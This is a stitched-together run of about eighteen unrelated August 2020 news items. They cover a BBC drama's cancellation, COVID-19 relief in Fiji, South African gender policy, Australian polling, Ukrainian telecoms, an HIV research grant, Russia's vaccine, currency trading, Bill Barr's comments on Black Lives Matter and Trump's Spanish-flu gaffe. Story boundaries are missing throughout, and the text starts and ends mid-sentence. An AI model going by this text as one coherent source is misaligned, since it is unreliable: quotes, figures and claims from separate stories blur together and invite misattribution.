effectively. For more information, visit Bloomberg.com/company or request a demo. SOURCE Bloomberg Related Links http://www.bloomberg.com Our Girl has been axed and won't be returning for a fifth series following Michelle Keegan's exit, it was revealed on Tuesday. BBC bosses and the show's creative team announced they had opted to end the military drama series following the 33-year-old star's departure from the role of lead character, Sergeant Georgie Lane. Our Girl creator Tony Grounds told Radio Times: 'With the finale of series four showing Georgie ready to move on with her life, it feels like the right time for us to do the same.' End of the road: Our Girl has been AXED following its fourth season after Michelle Keegan's exit as show bosses felt it was 'the right time' to end the series, it was revealed on Tuesday Despite this, Tony admitted he'd be keen to reunite with Michelle at some stage in the future. He explained: 'Michelle and I are keen to continue our working relationship and, who knows, maybe we'll catch up with Georgie in the future. 'I wanted to say a big thank you to the fans of the show, it's been a joy to write.' Piers Wenger, the controller of BBC Drama, added: 'We are very proud of Our Girl and would like to thank Tony Grounds, Michelle Keegan and the fantastic cast and crew for all their hard work on the show.' 'Right time': Our Girl creator Tony Grounds claimed series four gave the show a satisfactory conclusion as Michelle's character Georgie Lane was 'ready to move on with her life' In January Michelle quit Our Girl after series four of the drama, revealing she was keen to spend more time in the UK and 'explore other opportunities' in her career. She played British army medic Georgie on the show for three seasons but plans to leave in order to spend more time in the UK. The demanding filming schedule of the show had seen the Stockport born star travel to South Africa, Nepal and Malaysia for several months of filming a year. Michelle's husband Mark Wright also had moved back to the UK from Los Angeles where he was working on US TV. At the time, the former Coronation Street actress acknowledged that it had been a 'really difficult decision' to walk away from the show. When speaking with The Sun about her decision the ex-Coronation street star said: 'Ive had the most incredible four years on the show and I want to thank the BBC for giving me such an amazing opportunity. Possibilities: Tony added that he and Michelle would keep up their working relationship, and he teased that 'maybe we'll catch up with Georgie in the future' 'Playing Georgie has been a life changing role for me. Ive loved every second of the adventure so it was a very hard decision to make not to return. 'I feel it is the right time to explore other exciting opportunities but Im so happy to be part of the new series coming soon so its not the end just yet.' At the time of the announcement, producers were said to have been looking for another actress to replace Michelle to play the lead, which starred former EastEnders actress Lacey Turner, 31, for its first run in 2014. Source: Xinhua| 2020-08-11 17:43:19|Editor: huaxia Video Player Close SUVA, Aug. 11 (Xinhua) -- A one-stop-shop center for humanitarian response was set up in Nadi, Fiji's third largest city on Tuesday to help families facing problems resulted by COVID-19. The center will be distributing food rations, seedlings, facilitating training and providing counselling and certain legal services to those impacted by COVID-19. It's an initiative by Then India Sanmarga Ikya (TISI) Sangam, Foundation for Rural Integrated Enterprises and Development (FRIEND), Fiji Women's Crisis Center (FWCC)and the Civil Society Organizations (CSO) Alliance for COVID-19 Humanitarian Response. The center will coordinate and streamline humanitarian support for different families and communities impacted by the pandemic. At the opening, FRIEND Director Sashi Kiran emphasized the importance of collaboration to assist targeted communities. Kiran said the location of the center in the western side of Viti Levu, Fiji's main island was due to a large number of requests for food and other services from families. TISI Sangam General Secretary Damend Gounder acknowledged the support from CSO Alliance members and reiterated the urgency of long term preparation for times ahead. Enditem South Africa: SA works to elevate the status of women Despite progress made in improving the lives of South African women, a long road is still to be travelled to free women from discrimination, violence and poverty, says President Cyril Ramaphosa. There has been real progress in improving the lives of South African women in the economy, in the political sphere and in public life, said the President in his weekly newsletter on Monday. In the newsletter, President Ramaphosa highlighted that the status and position of women in South Africa today is vastly different to that faced by mothers and grandmothers in 1956. He said the country had come a long way in realising a South Africa that is non-racial, non-sexist, democratic, prosperous and free. At the same time, we know there is so much further we still have to go. Women still face discrimination, harassment and violence, and bear the greatest brunt of poverty. If we are to truly realise the promise of our Constitution we have to tackle the economic and financial exclusion that makes women more vulnerable to abuse and violence, he said. The Presidents comments came after South Africa commemorated the 64th anniversary of Womens Day on Sunday. President Ramaphosa also said that South Africa has joined a ground-breaking campaign of global efforts to achieve gender equality by 2030. We have joined a ground-breaking campaign that links us to global efforts to achieve gender equality by 2030. Generation Equality is an ambitious and transformative agenda to end discrimination and violence against women and for their equal participation in political, social and economic life. Addressing GBV As part of this campaign, South Africa has joined two Action Coalitions, one for economic justice and rights and another against gender-based violence (GBV). Both of these themes are critical to our own national agenda, he said. Eleven months since the Emergency Response Action Plan to combat GBV and femicide was implemented, government has made progress in expanding support and care to survivors, and progress is being made in legal reforms to afford them greater protection. This month we begin the implementation of the National Strategic Plan to combat gender-based violence and femicide, he said. A key aspect of the plan is on ensuring greater womens financial inclusion. This is because economic inequality and social inequality are interconnected. The economic status of women in South Africa makes them more vulnerable to abuse. We must therefore scale up support for women to enable them to become financially independent, said the President. Commitments In addition, a number of commitments have also been made. We have made a number of commitments under Generation Equality that will be given effect to through the National Strategic Plan. Firstly, we are going to drive womens economic inclusion through public procurement. We have set the target of ensuring that at least 40% of goods and services procured by public entities are sourced from women-owned businesses, said the President. Government will also scale up support for women-owned SMMEs and for women who work in the informal sector or are unemployed. This will include engagement with the financial sector to make financial services accessible and affordable for women. Thirdly, we want to ensure more women have access to productive assets such as land. It is essential that women are beneficiaries of the accelerate land reform programme. It is significant that of the R75 million in COVID-19 relief earmarked for farming input vouchers [that] 53% of the beneficiaries will be rural women. We must ensure that women subsistence and small-scale farmers continue to receive support beyond the pandemic. Government will also seek to ensure that women are protected from GBV in the workplace. In this regard, we will be working at a national and regional level towards the ratification of the International Labour Organisazion Convention on Violence and Harassment in the Workplace, he said. The emancipation of women is only words on paper unless it is matched by commitment from all sectors of society, he wrote. Employment opportunities for women As we prepare for the reconstruction of our economy in the wake of the Coronavirus pandemic, we have said that we cannot simply return to where we were before the outbreak of the virus. We must build a fundamentally different economy which, among other things, substantially improves the material position of women, he added. South Africas investment in infrastructure must support not only the development of local industry, but also women-owned businesses. It must deliberately create employment opportunities for women in all stages of planning, financing, building and maintaining infrastructure. By the same measures, as we scale up our public employment programmes, we must ensure that young women in particular, are identified as participants. In addition to an income, these programmes will provide them with an opportunity to acquire some of the skills and experience necessary to enter the mainstream economy, he said. The President said while it is governments responsibility to provide economic opportunities for women and create an enabling framework for advancing gender equality, businesses must support women-owned enterprises in the procurement of goods and services. He emphasised that women needed to be protected from harassment and discrimination. It is up to transport operators, university administrators, school governing bodies and religious organisations to create conditions for women and girls to travel, study and worship in safety. We must forge ahead with our efforts to eradicate chauvinism, sexism and patriarchy. It is these attitudes that enable the oppression of women, said President Ramaphosa. SAnews.gov.za This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. A virtual career fair will be held for New Milford businesses next Monday and Tuesday. The organizers added another day to the event when it was rescheduled due to Topical Storm Isaias, giving more time slots for applicants and companies. More than 91 job openings are available from 14 New Milford companies and range from entry level, to management, to technical and doctorate graduates. It is hosted by the towns Economic Development Department and the Corporation for New Milford Economic Development along with Indeed. People looking to work in New Milford can find the participating companies and be able to sign up for the event on Indeed at https://events.indeed.com/event/45895/. Its free for job seekers to create an account on Indeed and people can upload their resume there. Businesses can contact Economic Developlemt Director Karen Pollard about a future hiring event or with any questions. She can be reached at 860-355-5001 or kpollard@newmilford.org. Businesses and job seekers should Like and Follow the Event on https://www.facebook.com/NewMilfordHiring/ New Milfords unemployment rate is 9.2 percent, which is slightly lower thatn the 10 percent rate for the state at the end of June, Pollard said. Australian Prime Minister Scott Morrison speaks to the media at Parliament House in Canberra, Australia, on July 30, 2020. (Sean Davey/Getty Images) Morrison Still Preferred PM After JobKeeper Extension Australian Prime Minister Scott Morrison has continued his rise in popularity with the latest Newspoll results showing record-high support for him as the preferred prime minister. Data from the poll, which was released by the Australian newspaper on Aug. 9, showed that Morrison had extended his lead over Opposition Leader Anthony Albanese as preferred prime minister with 60 percent of those polled believing that Morrison is the better prime minister. Twenty-five percent of those polled believed that Albanese would be a better prime minister. This is the seventh month in a row that Morrison has been declared the preferred prime minister. Notably, the Coalition party lost one point in the two-party preferred poll going from a 5 percent lead in July with 53 percent supporting the Coalition to a 4 point lead in August with 52 percent supporting the Coalition over 48 percent who support the Australian Labor Party (ALP). This is the lowest percentage point rating in the two-party preferred poll for the ALP since July 2019. The poll was taken between Aug. 5 to Aug. 8 and surveyed 1,509 voters from capital cities and the regions around the country. Support for the Government Steady After JobKeeper Extension The figures come after the Coalition government announced a significant extension of the financial support program JobKeeper on Aug. 7 with the Prime Minister calling the extension a lifeline. JobKeeper has been a lifeline to peoples livelihoods. Its been a lifeline to businesses. Its been a lifeline for the certainty and assurance that its provided Australians that I know theyve been relying upon on these very difficult months and as weve seen at the outbreak of the Victorian wave and the impact thats had specifically on Victoria, said Morrison at a press conference on Aug. 7. The extension to JobKeeper will provide an estimated $13 billion to the Victorians with the treasurer Josh Frydenberg calculating that around 1.5 million Victorians, will be on JobKeeper during the September quarter. Thats nearly half their private-sector workforce, Frydenberg noted on Channel Nine on Aug. 7. Greens Primary Support Rises As Major Parties Fall in Latest Poll Both major parties also experienced a drop in their primary vote. Support for the Labor Party fell to 33 percent, which is below the percentage received by the ALP at the 2019 election. While the Coalition primary vote fell to 43 percent but unlike the ALP remained above the 41.4 percent the Coalition recorded at the 2019 election. The drop coincided with a rise in the primary voter support for the Greens who saw their primary vote rise to 11 percent. However, One Nation remained steady, getting just 4 percent of the primary vote in the latest poll. Ukrainian number three Lifecell has confirmed that it will join the 4G infrastructure sharing arrangement signed in July by its larger rivals Kyivstar and Vodafone Ukraine. The agreement will see the three operators share passive and active infrastructure such as base stations and communications channels, reports TeleGeography. It is aimed at speeding up the deployment of 4G services in Ukraines more remote regions. After receiving LTE-900 licences that came into effect at the start of July, Ukraines operators are deploying 4G services over 900MHz spectrum to complement their LTE-1800/2600 networks. In mid-July Kyivstar and Vodafone Ukraine formed an infrastructure sharing arrangement and invited other operators to participate. While government approvals will be required, they expect to implement the initiative before the end of the year. While 4G plans are underway for Ukraines three largest operators, CDMA provider Intertelecom has had to shelve its LTE expansion plans and roll back coverage, citing inadequate funds. In a statement on its website, the operator said that general economic instability had been exacerbated by the protracted situation with quarantine restrictions and the further spread of the COVID-19 pandemic, with the result that it could not arrange financing for an LTE licence. The operator had its LTE licence revoked in April 2020 by the NCCIR (National Commission for State Regulation of Communications & Informatization) after it failed to pay the relevant fees, although it is awaiting a final verdict on this ruling. In the meantime, Intertelecom is relinquishing some of its CDMA spectrum and narrowing its focus to areas with larger populations. It confirmed that it would reduce its coverage in nine regions. Pete Hamill died last week. He was the consummate New Yorker. He grew up in Brooklyn, went to Regis High School in Manhattan. He was an old school journalist, hard drinking (See his memoir, A Drinking Life) and heavy hitting. Thats what I read about him, but what I remember about him is his kindness. It was 2002. All the big libraries in the country were hosting One Book community reads. The Day newspaper in New London published a column, What the Area Needs is One Good Read. We of the Eastern Connecticut Library Association responded. We had no money, too many communities, and we had never done anything like this before. For several years, physicist John Barton at the University of California, Riverside, has been working on developing models to understand and predict how pathogens, such as HIV, evolve. This research pursuit has just received support from the National Institutes of Health. Barton, an assistant professor in the Department of Physics and Astronomy, has been awarded a Maximizing Investigators' Research Award for early-stage investigators, allowing his lab to work on developing methods to understand how different mutations affect the ability of organisms to survive and reproduce. We are most interested in viruses like HIV, but in principle, the methods that we're working on could be applied to many different types of evolving populations." John Barton, Physicist, University of California, Riverside The five-year grant of nearly $1.86 million, titled "Methods for quantifying selection in evolving populations," will support two graduate students and two postdoctoral researchers. Barton will work with Rebecca Lynch at George Washington University to apply some of his lab's methods to study how HIV evolves to escape from antibody responses within patients. Barton explained that evolution plays a central role in many public health challenges. "For example, bacteria can evolve to become resistant to antibiotics, and cancer cells can evolve to hide from the immune system or to resist chemotherapy," he said. "The methods that we're developing may allow us to get a better understanding of how processes like these take place, which may ultimately lead to the design of new and better treatments." The grant will allow Barton to build mathematical models that describe how pathogen populations evolve. "We will try to understand what the data can tell us about the evolutionary process," Barton said. "We plan to apply our methods to a few important problems. One application is to understand how HIV-1 evolves to escape from the immune system. We also plan to use our methods to improve the interpretation of high-throughput mutagenesis experiments." Barton acknowledged that the data can be complex and difficult to interpret with existing methods, which motivated him to try a new approach to better understand how different changes at the genetic level were driving evolution at the population level. "The question we're thinking about is one that's been considered by population geneticists for a long time," he said. "Two of the more novel features of this project are that we're developing methods to look specifically at genetic sequence data that's been collected over time, which is an underexplored area; and we're using some mathematical techniques that are common in physics but not so well known in population genetics, which makes our approach more computationally efficient than most prior work." A Chinese man who weighs 20 stones has been saved by firefighters after he became trapped in a well at his backyard. The 28-year-old, known by his surname Liu, accidentally fell into the dry well and got stuck when he was trying to seal the deserted structure, according to the local fire services. Nearly a dozen rescuers joined forces and lifted Mr Liu out of the well after tying ropes around the resident's body. The 28-year-old, known by his surname Liu, accidentally fell into the dry well and got stuck when he was trying to seal the deserted structure, according to the Luoyang fire services Nearly a dozen rescuers joined forces and lifted the resident out of the well after tying ropes around Mr Liu's body. The picture shows the firefighters wrapping the ropes around Mr Liu The incident was brought to light when the fire department in Chinas central province Henan was called to Mr Lius home on Friday. The man, who weighs about 125 kilograms (20 stones), is said to have been wedged inside the well for being too heavy, the authorities said in a social media post. Footage released by Luoyang Fire Brigade shows the trapped resident with his upper body naked and arms crossed together, seemingly annoyed, as he waited to be freed from the well. Mr Liu was trying to fill in the dry well with wood and rubbish before the incident occurred, his family told the firemen. Footage released by Luoyang Fire Brigade shows the trapped resident with his upper body naked and arms crossed together, appearing to be annoyed, as rescuers arrived on the scene The man, who weighs about 125 kilograms (20 stones), is said to have been wedged inside the well for being too heavy, the rescue authorities said in a social media post on Friday The trapped resident from China's Henan province was finally pulled out of the deserted well after nearly a dozen rescuers and villagers joined forces and lifted him together He then accidentally fell inside whilst trying to secure the pile of debris in the well by stomping and jumping on it. After evaluating the situation, the firefighters decided to tie rescue ropes around Mr Lius body and wrap another belt on the mans waist. The trapped resident was finally pulled out of the well after nearly a dozen rescuers and villagers joined forces and lifted him together. Mr Liu is said to have remained unscathed after he was freed from the well. This is the astonishing moment a wrecked 215,000 Lamborghini is removed by a tow-truck after a horrific crash in Spain. The driver allegedly smashed his friend's bright green supercar - identified as a Lamborghini Huracan Performante - in the wall of an electricity substation in Huelva, south west Spain. Police said the occupants fled the scene before they were tracked down in hospital. The driver is now under investigation for reckless driving after allegedly speeding before losing control of the vehicle and crashing into the wall. The smashed up remains of the car were taken away by a tow truck following the Huelva crash The driver told authorities that a friend lent him the vehicle, before the collision happened at just before 7am on Sunday. Locals said some nearby houses suffered a power cut because of the incident. The driver and his passenger were located in Huelva's Juan Ramon Jimenez Hospital where they were undergoing treatment for minor injuries. The driver of the car was allegedly speeding before losing control of the vehicle and plunging into the wall The smashed remains of the vehicle, which is capable of reaching 62mph in just 2.9 seconds It was not immediately clear today if they had been breath-tested and police are yet to issue a formal statement. Local reports said the man at the wheel of car, which has a top speed of nearly 202mph and can reach 62mph in just 2.9 seconds, told officers a friend had lent them the vehicle. The owner of the vehicle has been ordered to make a statement along with the two men in the car. Philippine President Rodrigo Roa Duterte on August 11 said that he will be the first one to test the Russian made potential COVID-19 vaccine once it arrives in the country. Duterte confirmed this during a briefing on Tuesday while accepting Russia's offer for a clinical trial of their vaccine against COVID-19 to determine if it is safe to use among Flipinos or not. Duterte reportedly said that he will publicly volunteer to receive the first dose of the vaccine and will be the first one in the country to be experimented upon. Read: Russia Announces 'world's First' COVID-19 Vaccine, Vladimir Putin's Daughter Inoculated According to reports, Duterte further expressed his gratitude to Russia for its offer of vaccines against COVID-19. The President also acknowledged the strong ties between the Philippines and Russia. According to reports, after Duterte's announcement of becoming a test subject for Russia's COVID-19 vaccine, the Russian Direct Investment Fund said it was ready to conduct the clinical trials in the country. The Philippines government is also cooperating with other nations in vaccine development. According to government data, the Philippines has so far recorded 1,39,538 cases, of which 2,312 people have died. Read: Russia To Begin Mass Production Of Experimental COVID-19 Vaccine In September Russia announces vaccine The Russian vaccine is developed at the Gamaleya institute in Moscow and authorities in the former Soviet Union are planning to start mass production by September. Scientists in Russia have controversially claimed that they will be the first country to develop a COVID-19 vaccine in the world, even comparing it with the space-race between the United States and USSR, when the latter sent the first satellite into space. According to reports, researchers and scientists working on the vaccine at Gamaleya institute months ago injected the prototype into themselves, garnering criticism from the international health community for rushing human trials. Read: Expert Committee On COVID-19 Vaccine Administration To Meet On Wednesday Read: COVID-19: Moderna, Pfizer To Include HIV+ Volunteers In Final Stage Of Vaccine Trials The coronavirus pandemic has chilled one active corner of the global financial markets by shrinking the volume of currency trading in major hubs. Singapore and Tokyo grabbed market share as Hong Kong slipped. Average daily turnover in traditional foreign exchange and currency derivatives in seven markets declined 11.4 per cent to US$4.93 trillion in April from October, according to semi-annual data published by separate industry groups in Australia, Singapore, Hong Kong, Japan, the United Kingdom, United States and Canada. Singapores volume grew 0.3 per cent to US$549.5 billion per day, making it the biggest market in the Asia-Pacific region, according to a local foreign-exchange market committee. Hong Kongs volume shrank 7.8 per cent to US$524 billion, the Treasury Markets Association said on Monday. Get the latest insights and analysis from our Global Impact newsletter on the big stories originating in China. Such transactions rose 6.5 per cent in Tokyo, and fell 7.2 per cent in Australia and 9.1 per cent in Canada. While London retained the crown as the biggest currency-trading market globally, its daily average volume shrank the most, by 16.3 per cent to US$2.4 trillion from an all-time high in October. New York suffered a 14 per cent drop to US$765 billion. Currency trading was held up at the height of market volatility caused by the coronavirus pandemic, said Ken Cheung Kin-tai, Hong Kong-based chief Asian currency strategist East Asia Treasury Department at Mizuho Bank. The shock meant it was difficult to assess the impact of the virus on policies, liquidity and economy. The new coronavirus, which was first reported in Wuhan late last year, triggered a global public health crisis and also disrupted markets. Banks sent workers home, reduced operating hours at branches and trimmed staff, all contributing to market upheavals. The latest statistics come as a setback to Hong Kongs aim to upstage Singapore after a neck-and-neck race in the currency trading market. The city has been mired in four straight quarters of economic contraction, its worst recession on record. The pandemic and fallout from the contentious national security law have become front-and-centre issues for a government caught up in US-China confrontations. Story continues Average daily trading in Singapore rose 24 per cent to US$639.9 billion in 2019 from 2016, according to a triennial survey published by the Bank for International Settlements in December, based on a different methodology. Hong Kongs volume grew 45 per cent to US$632 billion in that span. To maintain its lead, Singapore has wooed global banks including UBS, Citigroup, Standard Chartered and JPMorgan Chase in recent years to set up foreign exchange pricing and trading engines to reduce the time lag in routing trades from elsewhere. The setback in April may be temporary, according to Cheung at Mizuho. Trading volume has since improved as financial markets have digested the initial impact from Covid-19 cases, he added. The Federal Reserves subsequent monetary policy easing has eased liquidity conditions. Purchase the 120+ page China Internet Report 2020 Pro Edition, brought to you by SCMP Research, and enjoy a 30% discount (original price US$400). The report includes deep-dive analysis, trends, and case studies on the 10 most important internet sectors. Now in its 3rd year, this go-to source for understanding China tech also comes with exclusive access to 6+ webinars with C-level executives, including Charles Li, CEO of HKEX, James Peng, CEO/founder of Pony.ai, and senior executives from Alibaba, Huawei, Kuaishou, Pinduoduo, and more. Offer valid until 31 August 2020. To purchase, please click here. More from South China Morning Post: This article Pandemic shrinks foreign exchange trading in major hubs but Singapore, Tokyo grab market share at Hong Kongs expense first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2020. Trump administration attorney general Bill Barr: Getty Images US attorney general Bill Barr made waves with a Fox News interview this weekend in which he called the Black Lives Matter movement Bolshevik and fascistic and the fallout is still simmering. Host Mark Levin, who conducted the interview, is now pushing back against the mainstream medias coverage of the segment, accusing newspapers fact checkers of lying about Black Lives Matters true nature and declaring that journalists are in cahoots with violent Marxists. I think they would be, you know, generally for bringing down any administration, said Mr Barr. They are a revolutionary group that is interested in some form of socialism, communism, theyre essentially Bolsheviks, their tactics are fascistic. The attorney general also claimed that protesters are often seen wearing helmets and shields with hammers and sickles on them, but that these never appear in the media because journalists have intentionally crafted a narrative that does not correspond to the objective truth. The Trump administration has itself been accused of using fascistic tactics by many protesters, including in Portland, Oregon, where masked troops were deployed by the Department of Homeland Security to drive back protesters with tear gas, batons and projectiles. Mr Barr rejected this analysis. The media has recently looked at our efforts to bring justice to the streets of these communities that are suffering the violence, and then the equate that to what they refer to as jackboot federal agents going in to crush protesters. Its either an amazing lack of understanding of whats happening around them, or its deliberate. The interview appalled many observers already critical of the administration, and Mr Levin has in turn reacted by attacking his and Mr Barrs detractors. He was particularly incensed by the Washington Posts coverage of the interview, in which the paper pointed out that there is no evidence connecting the supposed violent group antifa with Black Lives Matter protests even as right-wing Boogaloo activists, who anticipate a coming second civil war, have attended various demonstrations with assault rifles and other weapons. Story continues In a Twitter thread, the host called the Posts coverage a shocking lie, criticising the reporter for relying on the papers fact-checker. (He did not attack the fact-checker directly.) The dismissive tone and journalistic disinterest in Antifa is truly outrageous. The media have demonstrated that they are all in with the violent Marxist movement in our country. While some on the American right have increasingly blamed antifa for the violence and looting seen at various protests, antifa is not in fact a cohesive organisation with a command structure or leaders and there is no evidence that the vast majority of protesters identify themselves with the term. It took six months for the world to reach 10 million confirmed cases of the coronavirus. It took just over six weeks for that number to double. Hey there, time traveller! This article was published 11/8/2020 (525 days ago), so information in it may no longer be current. Wearing a mask to curb the spread of the new coronavirus, Martha Gonzalez Reyes, 76, sells roses outside Metro Hidalgo in central Mexico City, Monday, Aug. 10, 2020. After four months staying at home, Gonzalez returned to selling on August 1, but she says business hasn't fully rebounded. "People have less money to spend she says, and they don't want to go out and get infected."(AP Photo/Rebecca Blackwell) It took six months for the world to reach 10 million confirmed cases of the coronavirus. It took just over six weeks for that number to double. The worldwide count of known COVID-19 infections climbed past 20 million on Monday, with more than half of them from just three countries: the U.S., India and Brazil, according to the tally kept by Johns Hopkins University. Russian President Vladimir Putin attends a cabinet meeting at the Novo-Ogaryovo residence outside Moscow, Russia, Tuesday, Aug. 11, 2020. Putin says that a coronavirus vaccine developed in the country has been registered for use and one of his daughters has already been inoculated. Speaking at a government meeting Tuesday, Aug. 11, 2020, Putin said that the vaccine has proven efficient during tests, offering a lasting immunity from the coronavirus. (Alexei Nikolsky, Sputnik, Kremlin Pool Photo via AP) The average number of new cases per day in the U.S. has declined in recent weeks but is still running high at over 54,000, versus almost 59,000 in India and nearly 44,000 in Brazil. In other developments Tuesday: Russia became the first country to approve a vaccine against the virus. While a proven coronavirus vaccine would be an epic medical breakthrough, the move raised alarms among scientists because the shots have not been subjected to large-scale testing in humans. They have only been studied in dozens of people, not the thousands typically involved. A health worker calls out to people to come out for screening for COVID-19 symptoms in Dharavi, one of Asia's biggest slums, in Mumbai, India, Tuesday, Aug. 11, 2020. India has the third-highest coronavirus caseload in the world after the United States and Brazil. (AP Photo/Rafiq Maqbool) The Big Ten and Pac-12 announced they wont play football this fall because of the virus, taking two of college sports five powerhouse conferences out of the season. The Big Ten includes Ohio State, Michigan, Nebraska and Penn State, while the Pac-12 includes Arizona, Arizona State, UCLA, the University of Southern California, Oregon, Utah and Washington. College footballs lack of centralized leadership leaves every conference to decide for itself. The severe and sustained crisis in the U.S. over 5 million cases and 163,000 deaths, easily the highest totals of any country has dismayed and surprised many around the world, given the nations vaunted scientific ingenuity and the head start it had over Europe and Asia to prepare. South Africa, Colombia, Mexico, Peru, Argentina, Russia and the Philippines round out the list of the top 10 countries contributing the most new cases to the global tally since July 22, according to an Associated Press analysis of Johns Hopkins data through Monday. People wearing face masks wait their turn to be called for a PCR test for the COVID-19 outside a local clinic in Santa Coloma de Gramanet in Barcelona, Spain, Tuesday, Aug. 11, 2020. (AP Photo/Emilio Morenatti) The real number of people infected by the virus around the world is believed to be much higher perhaps 10 times higher in the U.S., according to the Centers for Disease Control and Prevention given testing limitations and the many mild cases that have gone unreported or unrecognized. Some of the worst-hit nations have been those whose leaders have downplayed the severity of COVID-19, undercut the advice of health experts and pushed unproven remedies. President Donald Trump, Brazil's President Jair Bolsonaro and Mexican President Andres Manuel Lopez Obrador, for example, all rarely wear masks and have resisted calls for strict lockdowns. Trump and Bolsonaro have promoted the anti-malaria drug hydroxychloroquine, even though studies have shown it to be useless against the virus, with potentially deadly side effects. Fruit and vegetable vendors, wearing masks against the spread of the COVID-19 infections, wait for customers at a market in Bucharest, Romania, Tuesday, Aug. 11, 2020. Romania is faced with an increasing number of COVID-19 infections and related deaths over the past weeks, the highest levels since the pandemic started in the country in February, blamed mostly on people not observing the prevention regulations, like correctly wearing a face mask. (AP Photo/Andreea Alexandru) In the U.S., Mexico and Brazil, testing has been criticized as inadequate. While the U.S. has ramped up testing in recent months, Americans have faced discouragingly long lines and delays in getting the results. In Mexico, 47% of tests are coming back positive, suggesting that only seriously ill people are getting screened. Contact tracing, which has helped authorities in other countries get a handle on the spread, has also been criticized as insufficient in all three countries. The U.S., with about 4% of the worlds population, accounts for about 25% of the known coronavirus infections and 22% of the deaths. Teacher Inggit Andini, right, wearing a face shield as a precaution against the new coronavirus outbreak, speaks as her students in a makeshift classroom at her residence in Tangerang, Indonesia, Monday, Aug. 10, 2020. Andini offered free extra lessons for students who lack access to the internet as the school where she works at remain closed and switched to online learning due to the outbreak. (AP Photo/Tatan Syuflana) Mexico has reported nearly 500,000 cases and more than 50,300 deaths, but the presidents point man on the epidemic, Assistant Health Secretary Hugo Lopez-Gatell, said a full lockdown would prove too costly for people with little savings and tenuous daily incomes. We do not want a solution that would, in social terms, be more costly than the disease itself, he said. Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Cases have begun to rise significantly in Caracas, Venezuela, perhaps one of the worlds least-prepared cities to face the pandemic. The country has been under a lockdown since March, but limited testing, open defiance of quarantine measures and the return of tens of thousands of Venezuelan migrants from countries with higher caseloads have resulted in a steady expansion that is starting to overwhelm hospitals with scarce supplies. What has been successful in other countries is massive testing and isolating the population that is sick, said Domingo Subero, 66, an engineer worried about the situation in Caracas. Here, neither of those two things is happening. Elsewhere around the world, New Zealand, which has been praised for quickly getting the virus under control, reported the first cases of local transmission in the country in 102 days. Prime Minister Jacinda Ardern said four cases were discovered in a single Auckland household. ___ Associated Press journalists from around the world contributed to this report. President Donald Trump on Tuesday announced that the U.S. government has signed a $1.5 billion deal to purchase 100 million doses of Modernas experimental COVID-19 vaccine. We are investing in the development and manufacture of the top six vaccine candidates to ensure rapid delivery. The military is ready to go, theyre ready to deliver a vaccine to Americans as soon as one is fully approved by the FDA and were very close to that approval, Trump said during a press conference at the White House. Moderna said the deal for its vaccine, which is currently in late-stage human trials, will give the federal government the option to purchase up to an additional 400 million doses. The U.S. has already invested $955 million to develop Modernas vaccine, bringing its total investment up to $2.48 billion, the company said in a press release Tuesday. Through Operation Warp Speed the Trump administrations effort to accelerate the development, manufacturing and distribution of coronavirus vaccines and treatments the government has now purchased initial batches of vaccines from Moderna, GlaxoSmithKline and Sanofi, Pfizer, Novavax, Johnson & Johnson and AstraZeneca. In creating a vaccine portfolio for Operation Warp Speed, the Trump Administration is increasing the likelihood that the United States will have at least one safe, effective vaccine by 2021, said HHS Secretary Alex Azar in a press release. Todays investment represents the next step in supporting this vaccine candidate all the way from early development by Moderna and the National Institutes of Health, through clinical trials, and now large-scale manufacturing, with the potential to bring hundreds of millions of safe and effective doses to the American people. The U.S. Department of Health and Human Services previously pledged $1.95 billion to Pfizer and biotech firm BioNTech to produce and deliver 100 million doses of their coronavirus vaccine, with the option to purchase an additional 500 million doses. HHS then announced a $1 billion deal with Johnson & Johnson for 100 million doses of its vaccine, with the option for an additional 200 million, CNBC reported. More from National Review Ambassador Dang Dinh Quy, head of the Vietnamese mission to the UN, has reaffirmed Vietnams support for the implementation of duties of the UN Integrated Peacebuilding Office in Guinea-Bissau (UNIOGBIS) under the UN Security Council (UNSC)s Resolution 2512 (2020). Ambassador Dang Dinh Quy, head of the Vietnamese mission to the United Nations (Photo: VNA) Addressing a meeting of the UNSC on August 10 on international support for maintaining stability in Guinea-Bissau, the diplomat called on parties to cooperate and narrow differences, strive to carry out national reconciliation, and accelerate important reforms in the 2016 Conakry Agreement as well as the six-point roadmap of the Economic Community of West African States (ECOWAS). He emphasised the task of protecting civilians and enhancing the participation of women and youths in policy making and national development. The ambassador urged the international community to support efforts of Guinea-Bissau in the fight against the COVID-19 pandemic, and reiterated Vietnam's support for the implementation of Resolution 2512 (2020) for peace, security and sustainable development in Guinea-Bissau. According to reports delivered at the meeting, the UNIOGBIS has made progress in the implementation of Resolution 2512, including helping the government of Guinea-Bissau and parties to organise an inclusive dialogue, conducting political and institutional reform, and combating drug trafficking and organised crime. Representatives from UNSC member states expressed their concern about the deteriorating security and humanitarian situation in recent times. They called on parties to continue implementing the Conarky Agreement and the ECOWAS, proposed to investigate human right violations by the military and security forces in the country, and asked the military to maintain a neutral attitude./.VNA The U.S. President has been criticized for claiming the '1917' Spanish Flu pandemic ended World War Two, which did not begin until 1939. Donald Trump once again referenced the 1918 Spanish Flu pandemic in comparison to the coronavirus crisis during a White House press briefing on Monday. But he accidentally connected it to World War II which began more than two decades later. A White House official clarified to USA Today that Trump was referring to World War I, which ended in 1918. The bizarre gaffe was on the day his campaign tried to hijack a Joe Biden campaign hashtag, #JoesAd, with videos suggesting the Democratic presumptive nominee is mentally impaired. President Trump said the 'great pandemic' of 1917 'probably ended the second World War, all the soldiers were sick' 'The closest thing is in 1917 they say, right? The great pandemic, certainly as a terrible thing,' Trump said. Then he said it 'probably ended the Second World War, all the soldiers were sick.' The Spanish flu, also known as the 1918 flu pandemic, lasted from February 1918 to April 1920. It infected an estimated 500 million people about a third of the world's population at the time in four successive waves. The death toll is typically estimated to have been somewhere between 17 million and 50 million. New York City celebrating VJ Day at the end of World War Two in Japan 1945. Trump connected the flu pandemic of 1918 to the end of the war According to the Centers for Disease Control and Prevention (CDC), the deployment of troops during the First World War could have helped contribute to the spread of the Spanish Flu. Trump's own grandfather, Frederick Trump, died after contracting Spanish Flu. Trump took ill on May 29, 1918, and passed away the next day in what was one of the early cases of the Spanish Flu. World War I ended after Germany surrendered on November 11, 1918. On June 28, 1919, Germany and the Allied Nations, including Britain, France, Italy and Russia, signed the Treaty of Versailles, formally ending the war. Some took to Twitter to point out the President's blunder. Actress and activist Sophia Bush tweeted: 'The Second World War 